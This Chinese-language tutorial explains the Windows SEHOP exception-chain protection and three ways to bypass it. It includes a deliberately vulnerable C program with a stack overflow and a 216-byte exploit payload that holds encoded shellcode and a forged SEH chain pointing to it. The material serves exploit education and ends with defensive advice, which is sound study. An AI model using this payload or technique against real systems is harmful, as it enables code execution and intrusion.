Windows下SEHOP保护机制详解及其绕过
字数 1936 2025-08-23 18:31:34
Windows下SEHOP保护机制详解及其绕过
一、SEHOP保护机制概述
SEHOP(Structured Exception Handling Overwrite Protection)是微软开发的一种针对异常处理机制的保护方式,旨在防止攻击者通过覆盖SEH(结构化异常处理)链来劫持程序流程。
1.1 SEHOP保护原理
SEHOP通过检查SEH异常处理链的完整性来进行检测:
- 程序运行时,SEH处理函数以链表形式存储在栈中
- 每个SEH记录包含两个关键字段:
- 指向下一个SEH记录的指针
- 当前SEH处理函数指针
- SEHOP会遍历整个SEH链,检查:
- 每个记录是否指向下一个有效的SEH记录
- 最终记录是否指向系统预定的终极异常处理函数(位于Ntdll.dll中的RtlCaptureContext+E5)
1.2 SEHOP与SafeSEH的区别
| 特性 | SafeSEH | SEHOP |
|---|---|---|
| 保护方式 | 建立安全SEH表,比对处理函数指针 | 检查SEH链完整性 |
| 验证时机 | 调用异常处理前 | 遍历整个SEH链 |
| 保护范围 | 单个SEH记录 | 整个SEH链 |
| 绕过难度 | 相对容易 | 相对困难 |
二、SEHOP保护绕过技术
2.1 覆盖返回地址
适用条件:
- 程序存在栈溢出漏洞
- 不依赖SEH机制的利用
攻击步骤:
- 计算缓冲区起始地址与ebp的距离
- 构造payload覆盖返回地址
- 将返回地址覆盖为跳板指令地址或ShellCode地址
内存布局示例:
[ShellCode][填充数据][覆盖的返回地址]
2.2 攻击虚函数
适用条件:
- 程序使用虚函数
- 存在缓冲区溢出漏洞
攻击步骤:
- 找到溢出缓冲区与this指针的距离
- 布置payload将this指针指向原始参数
- 将虚函数指针指向ShellCode
2.3 伪造SEH异常处理链(直接绕过SEHOP)
核心思想:构造一个完整的SEH链,使SEHOP验证通过
攻击步骤:
-
分析程序:
- 确认存在栈溢出漏洞
- 定位SEH记录在栈中的位置
- 确定系统终极异常处理函数地址
-
构造payload结构:
[ShellCode][填充数据][伪造的下一个SEH记录地址][异常处理函数指针] -
关键要求:
- 伪造的下一个SEH记录地址必须指向有效的SEH记录
- 最终必须指向系统终极异常处理函数
- 异常处理函数指针应指向攻击代码
-
示例payload结构:
| ShellCode | \x90填充 | 0x19FFE4(SEH链尾地址) | 指向ShellCode的地址 |
三、实战演示
3.1 漏洞代码分析
#include <stdio.h>
#include <Windows.h>
char ShellCode[500];
DWORD MyException() {
printf("This is My Exception!");
getchar();
return 1;
}
void test(char* szBuffer) {
char str[200]{0};
memcpy(str, szBuffer, 216); // 明显的栈溢出漏洞
int zero = 0;
__try {
zero = 5 / zero; // 触发除零异常
}
__except(MyException()) {};
}
int main() {
HANDLE hFile = CreateFileA("111.txt", GENERIC_READ, NULL, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwReadSize = 0;
ReadFile(hFile, ShellCode, 500, &dwReadSize, NULL);
test(ShellCode);
return 0;
}
3.2 调试分析
-
栈布局分析:
- str缓冲区起始地址:0x0019FDB4
- SEH_Record[0]地址:0x19FE84
- 距离计算:0x19FE84 - 0x0019FDB4 = 0xD0 (208字节)
-
SEH链遍历:
- SEH_Record[0] -> SEH_Record[1] (0x19FF54)
- SEH_Record[1] -> SEH_Record[2] (0x19FFCC)
- SEH_Record[2] -> SEH_Record[3] (0x19FFE4)
- SEH_Record[3] -> 0xFFFFFFFF (链尾)
- 最终处理函数:0x76F692C5 (RtlCaptureContext+E5)
3.3 构造攻击payload
payload结构:
- ShellCode(恶意代码)
- 填充数据(确保覆盖到SEH记录)
- 伪造的下一个SEH记录指针(指向链尾0x19FFE4)
- 异常处理函数指针(指向ShellCode)
示例payload:
# 构造216字节payload
payload = (
b"\xBE\xE8\x88\x3C\xFD\xD9\xD0\xD9\x74\x24\xF4\x5A\x33\xC9\xB1\x30" # ShellCode
b"\x31\x72\x13\x03\x72\x13\x83\xEA\x14\x6A\xC9\x01\x0C\xE9\x32\xFA"
b"\xCC\x8E\xBB\x1F\xFD\x8E\xD8\x54\xAD\x3E\xAA\x39\x41\xB4\xFE\xA9"
b"\xD2\xB8\xD6\xDE\x53\x76\x01\xD0\x64\x2B\x71\x73\xE6\x36\xA6\x53"
b"\xD7\xF8\xBB\x92\x10\xE4\x36\xC6\xC9\x62\xE4\xF7\x7E\x3E\x35\x73"
b"\xCC\xAE\x3D\x60\x84\xD1\x6C\x37\x9F\x8B\xAE\xB9\x4C\xA0\xE6\xA1"
b"\x91\x8D\xB1\x5A\x61\x79\x40\x8B\xB8\x82\xEF\xF2\x75\x71\xF1\x33"
b"\xB1\x6A\x84\x4D\xC2\x17\x9F\x89\xB9\xC3\x2A\x0A\x19\x87\x8D\xF6"
b"\x98\x44\x4B\x7C\x96\x21\x1F\xDA\xBA\xB4\xCC\x50\xC6\x3D\xF3\xB6"
b"\x4F\x05\xD0\x12\x14\xDD\x79\x02\xF0\xB0\x86\x54\x5B\x6C\x23\x1E"
b"\x71\x79\x5E\x7D\x1F\x7C\xEC\xFB\x6D\x7E\xEE\x03\xC1\x17\xDF\x88"
b"\x8E\x60\xE0\x5A\xEB\x9F\xAA\xC7\x5D\x08\x73\x92\xDC\x55\x84\x48"
b"\x22\x60\x07\x79\xDA\x97\x17\x08\xDF\xDC\x9F\xE0\xAD\x4D\x4A\x07"
b"\xE4\xFF\x19\x00\xB4\xFD\x19\x00"
)
3.4 攻击效果
成功覆盖SEH记录后:
- SEH_Record[0]的异常处理指针被覆盖为ShellCode地址
- SEH_Record[0]的下一个记录指针指向链尾(0x19FFE4)
- SEHOP验证时:
- 检查SEH_Record[0]指向SEH_Record[3](链尾)
- SEH_Record[3]指向系统终极处理函数
- 验证通过,执行被覆盖的异常处理函数(即ShellCode)
四、防护建议
-
开发人员:
- 启用所有安全编译选项(GS, DEP, ASLR, CFG等)
- 避免使用不安全的函数(如memcpy等)
- 对输入数据进行严格验证
-
系统管理员:
- 保持系统更新,启用所有安全功能
- 使用EMET等增强保护工具
- 限制应用程序权限
-
防御SEHOP绕过:
- 结合使用SEHOP和其他保护机制
- 监控异常处理链的异常修改
- 使用控制流完整性保护(CFI)
五、总结
SEHOP通过验证SEH链完整性提供了强大的保护,但通过精心构造的SEH链仍然可能被绕过。安全防护应该采用纵深防御策略,结合多种保护机制,才能有效抵御各种攻击。